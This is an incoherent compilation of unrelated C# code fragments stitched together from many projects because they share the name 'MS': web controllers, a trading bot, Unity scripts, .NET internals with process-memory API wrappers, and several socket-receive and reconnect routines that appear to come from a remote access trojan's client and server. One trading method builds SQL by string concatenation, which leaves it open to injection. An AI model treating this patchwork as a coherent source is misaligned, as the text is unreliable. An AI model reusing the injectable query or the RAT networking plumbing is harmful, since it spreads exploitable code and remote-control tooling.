public async Task <ActionResult <MS> > PostCB(MS item) { _context.MS.Add(item); await _context.SaveChangesAsync(); return(CreatedAtAction(nameof(GetMS), new { id = item.id }, item)); }
//Called by AlgoTraderManager public override void RunTurn() { //Grab all the trades since last turn string s = "SELECT Price FROM Trades WHERE Time > '" + LastTurn.ToString("yyyy-MM-dd HH:mm:ss") + "' AND StockName = '" + TargetStock + "'"; MySqlDataReader reader = threadDataBaseHandler.GetData(s); List <double> Trades = new List <double>(); while (reader.Read()) { Trades.Add((double)reader["Price"]); } threadDataBaseHandler.CloseCon(); if (Trades.Count == 0) { return; } //Turn the trades into a stock turn and it into the list StockTurns.Add(new StockTurn(Trades)); //Create a short term stance CreateNewStance(true); if (StockTurns.Count >= 150) { StockTurns.RemoveAt(0); } foreach (MarketStance MS in stances) { MS.RunTurn(); } stances.RemoveAll((MarketStance ms) => ms.isCompleted); LastTurn = DateTime.Now; threadDataBaseHandler.CloseCon(); }
public async Task <ActionResult <MS> > Put([FromBody] MS etu) { var k = new PutGeneric <MS>(etu); var result = await _mediator.Send(k); return(Ok(result)); }
public async Task <ActionResult <MS> > PostAsync(MS entity) { var k = new AddGeneric <MS>(entity); var result = await _mediator.Send(k); return(Ok(result)); }
private void label2_Click(object sender, EventArgs e) { MemoryStream MS; if (pictureBox1.Image != null) { MS = new MemoryStream(); pictureBox1.Image.Save(MS, System.Drawing.Imaging.ImageFormat.Jpeg); } else { MessageBox.Show("Please Select an Image !"); return; } UpdateUser(new UserData() { FirstName = TxtFirstName.Text, LastName = TxtLastName.Text, Email = TxtEmail.Text, Picture = MS.ToArray(), Username = TxtUsername.Text, Password = TxtPassword.Text }); }
public void ExtractEventData() { foreach (var machine in _siteModel.Machines) { var basePath = Path.Combine(_projectOutputPath, "Events", machine.ID.ToString()); Directory.CreateDirectory(basePath); foreach (var evtList in ProductionEventLists.ProductionEventTypeValues) { var eventsFileName = ProductionEvents.EventChangeListPersistantFileName(machine.InternalSiteModelMachineIndex, evtList); var readResult = _siteModel.PrimaryStorageProxy.ReadStreamFromPersistentStore(_siteModel.ID, eventsFileName, FileSystemStreamType.Events, out MemoryStream MS); if (readResult != FileSystemErrorStatus.OK || MS == null) { Log.LogError($"Failed to read directory stream for {eventsFileName} with error {readResult}, or read stream is null"); Console.WriteLine($"Failed to read directory stream for {eventsFileName} with error {readResult}, or read stream is null"); continue; } using (MS) { File.WriteAllBytes(Path.Combine(basePath, eventsFileName), MS.ToArray()); } } } }
public void CreateDXFFromMasterAlignment(string fileName, string compareFileName) { var f = NFFFile.CreateFromFile(Path.Combine("TestData", "Common", fileName)); var master = f.GuidanceAlignments?.Where(x => x.IsMasterAlignment()).FirstOrDefault(); master.Should().NotBeNull(); var export = new ExportToDXF { AlignmentLabelingInterval = 10, Units = DistanceUnitsType.Meters }; export.ConstructSVLCenterlineDXFAlignment(master, out var calcResult, out var MS).Should().BeTrue(); calcResult.Should().Be(DesignProfilerRequestResult.OK); MS.Should().NotBeNull(); // File.WriteAllBytes(Path.GetTempFileName() + fileName + ".MasterAlignment.DXF", MS.ToArray()); // The Writer writes lines with environment line endings. Done this way we read the file with environment line endings and have // more accurate equality checking vs ReadAllBytes. var input = File.ReadAllLines(Path.Combine("TestData", "Common", compareFileName)); var sb = new StringBuilder(); foreach (var s in input) { sb.Append(s + Environment.NewLine); } // Compare with known good file var goodFile = Encoding.UTF8.GetBytes(sb.ToString()); MS.ToArray().Should().BeEquivalentTo(goodFile); }
public void ReadServertData(IAsyncResult ar) { try { if (!ClientSocket.IsConnected || !IsConnected) { IsConnected = false; Dispose(); return; } int recevied = SslClient.EndRead(ar); if (recevied > 0) { MS.Write(Buffer, 0, recevied); if (MS.Length == 4) { Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize]; while (MS.Length != Buffersize) { int rc = SslClient.Read(Buffer, 0, Buffer.Length); if (rc == 0) { IsConnected = false; Dispose(); return; } MS.Write(Buffer, 0, rc); Buffer = new byte[Buffersize - MS.Length]; } if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); } } } SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else { IsConnected = false; Dispose(); return; } } catch { IsConnected = false; Dispose(); return; } }
public static void ReadServertData(IAsyncResult ar) { try { if (!TcpClient.Connected || !IsConnected) { IsConnected = false; return; } int recevied = SslClient.EndRead(ar); if (recevied > 0) { MS.Write(Buffer, 0, recevied); if (MS.Length == 4) { Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize]; while (MS.Length != Buffersize) { int rc = SslClient.Read(Buffer, 0, Buffer.Length); if (rc == 0) { IsConnected = false; return; } MS.Write(Buffer, 0, rc); Buffer = new byte[Buffersize - MS.Length]; } if (MS.Length == Buffersize) { Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); } } } SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else { IsConnected = false; return; } } catch { IsConnected = false; return; } }
public static void ReadServertData(IAsyncResult Iar) { try { if (!Client.Connected) { Connected = false; return; } int Recevied = Client.EndReceive(Iar); if (Recevied > 0) { if (BufferRecevied == false) { MS.Write(Buffer, 0, Recevied); Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize]; BufferRecevied = true; } } else { MS.Write(Buffer, 0, Recevied); if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); BufferRecevied = false; } else { Buffer = new byte[Buffersize - MS.Length]; } } Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } else { Connected = false; return; } } catch { Connected = false; return; } }
public void Dispose() { try { Tick?.Dispose(); SslClient?.Dispose(); Client?.Dispose(); MS?.Dispose(); } catch { } }
public static void Reconnect() { try { Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); MS?.Dispose(); } catch { } }
private void Awake() { if (instance == null) { instance = this as MS; DontDestroyOnLoad(gameObject); } else if (instance != null) { Destroy(gameObject); } }
public static void Reconnect() { try { Ping?.Dispose(); KeepAlive?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); MS?.Dispose(); } catch { } }
public static void Disconnected() { try { IsConnected = false; Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); MS?.Dispose(); } catch { } }
private void ServerWindow_Closed(object sender, EventArgs e) { foreach (var MS in Dic.Keys) { MS.OnClosed -= MyStream_OnClosed; MS.SendCloseRequest(); } foreach (var MS in Dic.Keys) { MS.Wait4Close(); } }
public static void Reconnect() { try { Tick?.Dispose(); Client?.Dispose(); MS?.Dispose(); } finally { InitializeClient(); } }
/// <summary> /// Write instruction operands into bytecode stream. /// </summary> /// <param name="writer">Bytecode writer.</param> public override void WriteOperands(WordWriter writer) { SampledType.Write(writer); Dim.Write(writer); Depth.Write(writer); Arrayed.Write(writer); MS.Write(writer); Sampled.Write(writer); ImageFormat.Write(writer); if (AccessQualifier != null) { AccessQualifier.Write(writer); } }
public void back() { if (TS.active == true) { TS.SetActive(false); WS.SetActive(true); nav.SetActive(false); } else { MS.SetActive(false); TS.SetActive(true); } }
/// <summary> /// Calculate number of words to fit complete instruction bytecode. /// </summary> /// <returns>Number of words in instruction bytecode.</returns> public override uint GetWordCount() { uint wordCount = 0; wordCount += IdResult.GetWordCount(); wordCount += SampledType.GetWordCount(); wordCount += Dim.GetWordCount(); wordCount += Depth.GetWordCount(); wordCount += Arrayed.GetWordCount(); wordCount += MS.GetWordCount(); wordCount += Sampled.GetWordCount(); wordCount += ImageFormat.GetWordCount(); wordCount += AccessQualifier?.GetWordCount() ?? 0u; return(wordCount); }
public void ReadMarketPlace(StoreCollectedItemData storeCollectedItemData) { SearchItemsLoader searchItemsLoader = new SearchItemsLoader(); KeyInputCode[][] keyInputCodes = searchItemsLoader.LoadSearchItems(); string[] searchItems = searchItemsLoader.LoadItemsFromFile(); for (int i = 0; i < keyInputCodes.Length; i++) { MS.ClearItem(); MS.EnterItem(keyInputCodes[i]); MS.SearchItem(); Thread.Sleep(1300); ReadAllItemPages(searchItems[i], storeCollectedItemData); } }
public void RunTurn(List <Trade> Trades) { if (Trades.Count == 0) { return; } StockTurns.Add(new StockTurn(Trades)); CreateNewStance(true); if (StockTurns.Count >= 150) { StockTurns.RemoveAt(0); } foreach (MarketStance MS in stances) { MS.RunTurn(); } stances.RemoveAll((MarketStance ms) => ms.isCompleted); }
public void Dispose() { IsConnected = false; try { TcpClient.Shutdown(SocketShutdown.Both); } catch { } try { Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); MS?.Dispose(); } catch { } }
/// Cleanup everything and start to connect again. public static void Reconnect() { if (Client.Connected) { return; } Tick?.Dispose(); try { Client?.Close(); Client?.Dispose(); } catch { } MS?.Dispose(); InitializeClient(); }
public void Disconnected() { if (LV != null) { if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { LV.Remove(); })); } } Settings.Online.Remove(this); try { MS?.Dispose(); Client?.Close(); Client?.Dispose(); } catch { } }
public void ExtractSiteModelFile(string fileName, FileSystemStreamType streamType) { var readResult = _siteModel.PrimaryStorageProxy.ReadStreamFromPersistentStore(_siteModel.ID, fileName, streamType, out var MS); if (readResult != FileSystemErrorStatus.OK || MS == null) { Log.LogInformation($"Failed to read file {fileName} of type {streamType}, (readResult = {readResult}), or stream is null"); Console.WriteLine($"Failed to read file {fileName} of type {streamType}, (readResult = {readResult}), or stream is null"); Console.WriteLine($"Failed to read existence map (readResult = {readResult}), or stream is null"); } else { using (MS) { var basePath = Path.Combine(_projectOutputPath); Directory.CreateDirectory(basePath); File.WriteAllBytes(Path.Combine(basePath, fileName), MS.ToArray()); } } }
private void ReadAllItemPages(string item, StoreCollectedItemData storeCollectedItemData) { ScreenBitmapCreator screenBitmapCreator = new ScreenBitmapCreator(); List <string> allItemNumbers = new List <string>(); List <string> allItemPrices = new List <string>(); int cnt = 0; bool isNextPage; do { Thread.Sleep(80); Bitmap screenBitmap = screenBitmapCreator.CreateScreenBitmap(); string[] pageNumbers = ReadPageTexts(screenBitmap, new Point(994, 515), NVR); string[] pagePrices = ReadPageTexts(screenBitmap, new Point(1089, 599), PVR); for (int i = 0; i < 6; i++) { allItemNumbers.Add(pageNumbers[i]); allItemPrices.Add(pagePrices[i]); } isNextPage = IsNextPageValid(screenBitmap); cnt++; MS.GoToNextPage(); screenBitmap.Dispose(); } while (isNextPage); storeCollectedItemData(item, allItemPrices, allItemNumbers); }
private Query ProcessFilter(MS.Internal.Xml.XPath.Filter root, Flags flags, out Props props) { Props props2; bool flag = (flags & Flags.Filter) == Flags.None; Query q = this.ProcessNode(root.Condition, Flags.None, out props2); if (this.CanBeNumber(q) || ((props2 & (Props.HasLast | Props.HasPosition)) != Props.None)) { props2 |= Props.HasPosition; flags |= Flags.PosFilter; } flags &= ~Flags.SmartDesc; Query input = this.ProcessNode(root.Input, flags | Flags.Filter, out props); if (root.Input.Type != AstNode.AstType.Filter) { props &= ~Props.PosFilter; } if ((props2 & Props.HasPosition) != Props.None) { props |= Props.PosFilter; } FilterQuery query3 = input as FilterQuery; if (((query3 != null) && ((props2 & Props.HasPosition) == Props.None)) && (query3.Condition.StaticType != XPathResultType.Any)) { Query condition = query3.Condition; if (condition.StaticType == XPathResultType.Number) { condition = new LogicalExpr(Operator.Op.EQ, new NodeFunctions(Function.FunctionType.FuncPosition, null), condition); } q = new BooleanExpr(Operator.Op.AND, condition, q); input = query3.qyInput; } if (((props & Props.PosFilter) != Props.None) && (input is DocumentOrderQuery)) { input = ((DocumentOrderQuery) input).input; } if (this.firstInput == null) { this.firstInput = input as BaseAxisQuery; } bool flag2 = (input.Properties & QueryProps.Merge) != QueryProps.None; bool flag3 = (input.Properties & QueryProps.Reverse) != QueryProps.None; if ((props2 & Props.HasPosition) != Props.None) { if (flag3) { input = new ReversePositionQuery(input); } else if ((props2 & Props.HasLast) != Props.None) { input = new ForwardPositionQuery(input); } } if (flag && (this.firstInput != null)) { if (flag2 && ((props & Props.PosFilter) != Props.None)) { input = new FilterQuery(input, q, false); Query qyInput = this.firstInput.qyInput; if (!(qyInput is ContextQuery)) { this.firstInput.qyInput = new ContextQuery(); this.firstInput = null; return new MergeFilterQuery(qyInput, input); } this.firstInput = null; return input; } this.firstInput = null; } return new FilterQuery(input, q, (props2 & Props.HasPosition) == Props.None); }
public static extern int GetModuleFileNameEx(MS.Internal.Automation.SafeProcessHandle hProcess, IntPtr hModule, StringBuilder buffer, int length);
/// <summary> /// Saves a copy of the object into the specified stream. /// </summary> /// <param name="stream">The stream to which the object is saved. </param> /// <param name="fClearDirty">Indicates whether the dirty state is to be cleared. </param> /// <remarks> /// Expected error codes are described at /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/com/html/b748b4f9-ef9c-486b-bdc4-4d23c4640ff7.asp /// </remarks> void IPersistStream.Save(MS.Internal.Interop.IStream stream, bool fClearDirty) { throw new COMException(SR.Get(SRID.FilterIPersistStreamIsReadOnly), NativeMethods.STG_E_CANTSAVE); }
void IPersistStream.Load(MS.Internal.Interop.IStream stream) { // Check argument. if (stream == null) { throw new ArgumentNullException("stream"); } // Only one of _package and _encryptedPackage can be non-null at a time. Invariant.Assert(_package == null || _encryptedPackage == null); // If there has been a previous call to Load, reinitialize everything. // Note closing a closed stream does not cause any exception. ReleaseResources(); _filter = null; _xpsFileName = null; try { _packageStream = new UnsafeIndexingFilterStream(stream); // different filter for encrypted package if (EncryptedPackageEnvelope.IsEncryptedPackageEnvelope(_packageStream)) { // Open the encrypted package. _encryptedPackage = EncryptedPackageEnvelope.Open(_packageStream); _filter = new EncryptedPackageFilter(_encryptedPackage); } else { // Open the package. _package = Package.Open(_packageStream); _filter = new PackageFilter(_package); } } catch (IOException ex) { throw new COMException(ex.Message, (int)FilterErrorCode.FILTER_E_ACCESS); } catch (Exception ex) { throw new COMException(ex.Message, (int)FilterErrorCode.FILTER_E_UNKNOWNFORMAT); } finally { // clean-up if we failed if (_filter == null) { ReleaseResources(); } } }
private void ReleaseResourcesinPacketDescription(MS.Win32.Recognizer.PACKET_DESCRIPTION pd, IntPtr packets) { if ( pd.pPacketProperties != IntPtr.Zero ) { unsafe { MS.Win32.Recognizer.PACKET_PROPERTY* pPacketProperty = (MS.Win32.Recognizer.PACKET_PROPERTY*)( pd.pPacketProperties.ToPointer( ) ); MS.Win32.Recognizer.PACKET_PROPERTY* pElement = pPacketProperty; for ( int i = 0; i < pd.cPacketProperties; i++ ) { Marshal.DestroyStructure(new IntPtr(pElement), typeof(MS.Win32.Recognizer.PACKET_PROPERTY)); pElement++; } } Marshal.FreeCoTaskMem(pd.pPacketProperties); pd.pPacketProperties = IntPtr.Zero; } if ( pd.pguidButtons != IntPtr.Zero ) { Marshal.FreeCoTaskMem(pd.pguidButtons); pd.pguidButtons = IntPtr.Zero; } if ( packets != IntPtr.Zero ) { Marshal.FreeCoTaskMem(packets); packets = IntPtr.Zero; } }
internal static extern bool ReadProcessMemory(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr Source, IntPtr Dest, IntPtr /*SIZE_T*/ size, out IntPtr /*SIZE_T*/ bytesRead);
internal static IntPtr VirtualAllocEx(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr address, UIntPtr size, int allocationType, int protect) { IntPtr result = UnsafeNativeMethods.VirtualAllocEx(hProcess, address, size, allocationType, protect); int lastWin32Error = Marshal.GetLastWin32Error(); if (result == IntPtr.Zero) { ThrowWin32ExceptionsIfError(lastWin32Error); } return result; }
internal static extern bool GetColorProfileHeader(SafeProfileHandle /* HANDLE */ phProfile, out MS.Win32.UnsafeNativeMethods.PROFILEHEADER pHeader);
public async void ReadClientData(IAsyncResult ar) { try { if (!Client.Connected) { Disconnected(); } else { int Recevied = Client.EndReceive(ar); if (Recevied > 0) { if (BufferRecevied == false) { if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize - 1]; BufferRecevied = true; } } else { await MS.WriteAsync(Buffer, 0, Buffer.Length); } } else { await MS.WriteAsync(Buffer, 0, Recevied); if (MS.Length == Buffersize) { // Read.BeginInvoke(this, MS.ToArray(), null, null); await Task.Run(() => { HandlePacket.Read(this, MS.ToArray()); Settings.Received += MS.ToArray().Length; Buffer = new byte[1]; Buffersize = 0; MS.Dispose(); MS = new MemoryStream(); BufferRecevied = false; }); } else { Buffer = new byte[Buffersize - MS.Length]; } } Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } else { Disconnected(); } } } catch { Disconnected(); } }
public static extern int NtQueryInformationProcess(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, int query, ref ulong info, int size, int[] returnedSize);
internal static extern bool IsWow64Process(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, out bool Wow64Process);
private int AddStrokes(MS.Win32.Recognizer.ContextSafeHandle recContext, StrokeCollection strokes) { Debug.Assert(recContext != null && !recContext.IsInvalid); int hr; foreach ( Stroke stroke in strokes ) { MS.Win32.Recognizer.PACKET_DESCRIPTION packetDescription = new MS.Win32.Recognizer.PACKET_DESCRIPTION(); IntPtr packets = IntPtr.Zero; try { int countOfBytes; NativeMethods.XFORM xForm; GetPacketData(stroke, out packetDescription, out countOfBytes, out packets, out xForm); if (packets == IntPtr.Zero) { return -2147483640; //E_FAIL - 0x80000008. We never raise this in an exception } hr = MS.Win32.Recognizer.UnsafeNativeMethods.AddStroke(recContext, ref packetDescription, (uint)countOfBytes, packets, xForm); if ( HRESULT.Failed(hr) ) { // Return from here. The finally block will free the memory and report the error properly. return hr; } } finally { // Release the resources in the finally block ReleaseResourcesinPacketDescription(packetDescription, packets); } } return MS.Win32.Recognizer.UnsafeNativeMethods.EndInkInput(recContext); }
private void GetPacketData ( Stroke stroke, out MS.Win32.Recognizer.PACKET_DESCRIPTION packetDescription, out int countOfBytes, out IntPtr packets, out NativeMethods.XFORM xForm ) { int i; countOfBytes = 0; packets = IntPtr.Zero; packetDescription = new MS.Win32.Recognizer.PACKET_DESCRIPTION(); Matrix matrix = Matrix.Identity; xForm = new NativeMethods.XFORM((float)(matrix.M11), (float)(matrix.M12), (float)(matrix.M21), (float)(matrix.M22), (float)(matrix.OffsetX), (float)(matrix.OffsetY)); StylusPointCollection stylusPoints = stroke.StylusPoints; if (stylusPoints.Count == 0) { return; //we'll fail when the calling routine sees that packets is IntPtr.Zer } if (stylusPoints.Description.PropertyCount > StylusPointDescription.RequiredCountOfProperties) { // // reformat to X, Y, P // StylusPointDescription reformatDescription = new StylusPointDescription( new StylusPointPropertyInfo[]{ new StylusPointPropertyInfo(StylusPointProperties.X), new StylusPointPropertyInfo(StylusPointProperties.Y), stylusPoints.Description.GetPropertyInfo(StylusPointProperties.NormalPressure)}); stylusPoints = stylusPoints.Reformat(reformatDescription); } // // now make sure we only take a finite amount of data for the stroke // if (stylusPoints.Count > MaxStylusPoints) { stylusPoints = stylusPoints.Clone(MaxStylusPoints); } Guid[] propertyGuids = new Guid[]{ StylusPointPropertyIds.X, //required index for SPD StylusPointPropertyIds.Y, //required index for SPD StylusPointPropertyIds.NormalPressure}; //required index for SPD Debug.Assert(stylusPoints != null); Debug.Assert(propertyGuids.Length == StylusPointDescription.RequiredCountOfProperties); // Get the packet description packetDescription.cbPacketSize = (uint)(propertyGuids.Length * Marshal.SizeOf(typeof(Int32))); packetDescription.cPacketProperties = (uint)propertyGuids.Length; // // use X, Y defaults for metrics, sometimes mouse metrics can be bogus // always use NormalPressure metrics, though. // StylusPointPropertyInfo[] infosToUse = new StylusPointPropertyInfo[StylusPointDescription.RequiredCountOfProperties]; infosToUse[StylusPointDescription.RequiredXIndex] = StylusPointPropertyInfoDefaults.X; infosToUse[StylusPointDescription.RequiredYIndex] = StylusPointPropertyInfoDefaults.Y; infosToUse[StylusPointDescription.RequiredPressureIndex] = stylusPoints.Description.GetPropertyInfo(StylusPointProperties.NormalPressure); MS.Win32.Recognizer.PACKET_PROPERTY[] packetProperties = new MS.Win32.Recognizer.PACKET_PROPERTY[packetDescription.cPacketProperties]; StylusPointPropertyInfo propertyInfo; for ( i = 0; i < packetDescription.cPacketProperties; i++ ) { packetProperties[i].guid = propertyGuids[i]; propertyInfo = infosToUse[i]; MS.Win32.Recognizer.PROPERTY_METRICS propertyMetrics = new MS.Win32.Recognizer.PROPERTY_METRICS( ); propertyMetrics.nLogicalMin = propertyInfo.Minimum; propertyMetrics.nLogicalMax = propertyInfo.Maximum; propertyMetrics.Units = (int)(propertyInfo.Unit); propertyMetrics.fResolution = propertyInfo.Resolution; packetProperties[i].PropertyMetrics = propertyMetrics; } unsafe { int allocationSize = (int)(Marshal.SizeOf(typeof(MS.Win32.Recognizer.PACKET_PROPERTY)) * packetDescription.cPacketProperties); packetDescription.pPacketProperties = Marshal.AllocCoTaskMem(allocationSize); MS.Win32.Recognizer.PACKET_PROPERTY* pPacketProperty = (MS.Win32.Recognizer.PACKET_PROPERTY*)(packetDescription.pPacketProperties.ToPointer()); MS.Win32.Recognizer.PACKET_PROPERTY* pElement = pPacketProperty; for ( i = 0 ; i < packetDescription.cPacketProperties ; i ++ ) { Marshal.StructureToPtr(packetProperties[i], new IntPtr(pElement), false); pElement++; } } // Get packet data int[] rawPackets = stylusPoints.ToHiMetricArray(); int packetCount = rawPackets.Length; if (packetCount != 0) { countOfBytes = packetCount * Marshal.SizeOf(typeof(Int32)); packets = Marshal.AllocCoTaskMem(countOfBytes); Marshal.Copy(rawPackets, 0, packets, packetCount); } }
void MS.Internal.Annotations.Component.IAnnotationComponent.RemoveAttachedAnnotation(MS.Internal.Annotations.IAttachedAnnotation attachedAnnotation) { }
/// <summary> /// Add shapeable text object to the list /// </summary> void IShapeableTextCollector.Add( IList<TextShapeableSymbols> shapeables, CharacterBufferRange characterBufferRange, TextRunProperties textRunProperties, MS.Internal.Text.TextInterface.ItemProps textItem, ShapeTypeface shapeTypeface, double emScale, bool nullShape, TextFormattingMode textFormattingMode ) { Debug.Assert(shapeables != null); shapeables.Add( new TextShapeableCharacters( characterBufferRange, textRunProperties, textRunProperties.FontRenderingEmSize * emScale, textItem, shapeTypeface, nullShape, textFormattingMode, false ) ); }
internal static bool WriteProcessMemory(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr dest, IntPtr sourceAddress, IntPtr size, out int bytesWritten) { bool result = UnsafeNativeMethods.WriteProcessMemory(hProcess, dest, sourceAddress, size, out bytesWritten); int lastWin32Error = Marshal.GetLastWin32Error(); if (!result) { ThrowWin32ExceptionsIfError(lastWin32Error); } return result; }
private int SetEnabledGestures(MS.Win32.Recognizer.ContextSafeHandle recContext, ApplicationGesture[] enabledGestures) { Debug.Assert(recContext != null && !recContext.IsInvalid); // NOTICE-2005/01/11-WAYNEZEN, // The following usage was copied from drivers\tablet\recognition\ink\core\twister\src\wispapis.c // SetEnabledUnicodeRanges // Set ranges of gestures enabled in this recognition context // The behavior of this function is the following: // (a) (A part of) One of the requested ranges lies outside // gesture interval---currently [GESTURE_NULL, GESTURE_NULL + 255) // return E_UNEXPECTED and keep the previously set ranges // (b) All requested ranges are within the gesture interval but // some of them are not supported: // return S_TRUNCATED and set those requested gestures that are // supported (possibly an empty set) // (c) All requested gestures are supported // return S_OK and set all requested gestures. // Note: An easy way to set all supported gestures as enabled is to use // SetEnabledUnicodeRanges() with one range=(GESTURE_NULL,255). // Enabel gestures uint cRanges = (uint)( enabledGestures.Length ); MS.Win32.Recognizer.CHARACTER_RANGE[] charRanges = new MS.Win32.Recognizer.CHARACTER_RANGE[cRanges]; if ( cRanges == 1 && enabledGestures[0] == ApplicationGesture.AllGestures ) { charRanges[0].cChars = MAX_GESTURE_COUNT; charRanges[0].wcLow = GESTURE_NULL; } else { for ( int i = 0; i < cRanges; i++ ) { charRanges[i].cChars = 1; charRanges[i].wcLow = (ushort)( enabledGestures[i] ); } } int hr = MS.Win32.Recognizer.UnsafeNativeMethods.SetEnabledUnicodeRanges(recContext, cRanges, charRanges); return hr; }
public virtual object WriteSampleObjectUsingFormatter(MediaTypeFormatter formatter, object value, Type type, MediaTypeHeaderValue mediaType) { if (formatter is null) { throw new ArgumentNullException("formatter"); } if (mediaType is null) { throw new ArgumentNullException("mediaType"); } object sample = string.Empty; MemoryStream MS = null; HttpContent content = null; try { if (formatter.CanWriteType(type)) { MS = new MemoryStream(); content = new ObjectContent(type, value, formatter, mediaType); formatter.WriteToStreamAsync(type, value, MS, content, null).Wait(); MS.Position = 0; var reader = new StreamReader(MS); string serializedSampleString = reader.ReadToEnd(); if (mediaType.MediaType.ToUpperInvariant().Contains("XML")) { serializedSampleString = TryFormatXml(serializedSampleString); } else if (mediaType.MediaType.ToUpperInvariant().Contains("JSON")) { serializedSampleString = TryFormatJson(serializedSampleString); } sample = new TextSample(serializedSampleString); } else { sample = new InvalidSample(string.Format(CultureInfo.CurrentCulture, "Failed to generate the sample for media type '{0}'. Cannot use formatter '{1}' to write type '{2}'.", mediaType, formatter.GetType().Name, type.Name)); } } catch (Exception e) { sample = new InvalidSample(string.Format(CultureInfo.CurrentCulture, "An exception has occurred while using the formatter '{0}' to generate sample for media type '{1}'. Exception message: {2}", formatter.GetType().Name, mediaType.MediaType, UnwrapException(e).Message)); } finally { if (MS is object) { MS.Dispose(); } if (content is object) { content.Dispose(); } } return(sample); }
internal static extern IntPtr VirtualAllocEx(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr address, UIntPtr size, int allocationType, int protect);
public void collapseTopicSelection(int c) { TS.SetActive(false); MS.SetActive(true); }
internal static extern SafeProfileHandle /* HANDLE */ OpenColorProfile(ref MS.Win32.UnsafeNativeMethods.PROFILE pProfile, UInt32 dwDesiredAccess, UInt32 dwShareMode, UInt32 dwCreationMode);
internal static extern bool VirtualFreeEx(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr address, UIntPtr size, int freeType);
internal static bool ReadProcessMemory(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr source, MS.Internal.AutomationProxies.SafeCoTaskMem destAddress, IntPtr size, out int bytesRead) { bool result = UnsafeNativeMethods.ReadProcessMemory(hProcess, source, destAddress, size, out bytesRead); int lastWin32Error = Marshal.GetLastWin32Error(); if (!result) { ThrowWin32ExceptionsIfError(lastWin32Error); } return result; }
internal static extern bool ReadProcessMemory(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr Source, MS.Internal.AutomationProxies.SafeCoTaskMem destAddress, IntPtr /*SIZE_T*/ size, out int bytesRead);
internal static bool VirtualFreeEx(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr address, UIntPtr size, int freeType) { bool result = UnsafeNativeMethods.VirtualFreeEx(hProcess, address, size, freeType); int lastWin32Error = Marshal.GetLastWin32Error(); if (!result) { ThrowWin32ExceptionsIfError(lastWin32Error); } return result; }
internal static extern bool WriteProcessMemory(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, IntPtr Dest, IntPtr sourceAddress, IntPtr /*SIZE_T*/ size, out int bytesWritten);
internal static bool IsWow64Process(MS.Internal.AutomationProxies.SafeProcessHandle hProcess, out bool Wow64Process) { bool result = UnsafeNativeMethods.IsWow64Process(hProcess, out Wow64Process); int lastWin32Error = Marshal.GetLastWin32Error(); if (!result) { ThrowWin32ExceptionsIfError(lastWin32Error); } return result; }
internal static int GetModuleFileNameEx(MS.Internal.Automation.SafeProcessHandle hProcess, IntPtr hModule, StringBuilder buffer, int length) { int result = SafeNativeMethods.GetModuleFileNameEx(hProcess, hModule, buffer, length); int lastWin32Error = Marshal.GetLastWin32Error(); if (result == 0) { ThrowWin32ExceptionsIfError(lastWin32Error); } return result; }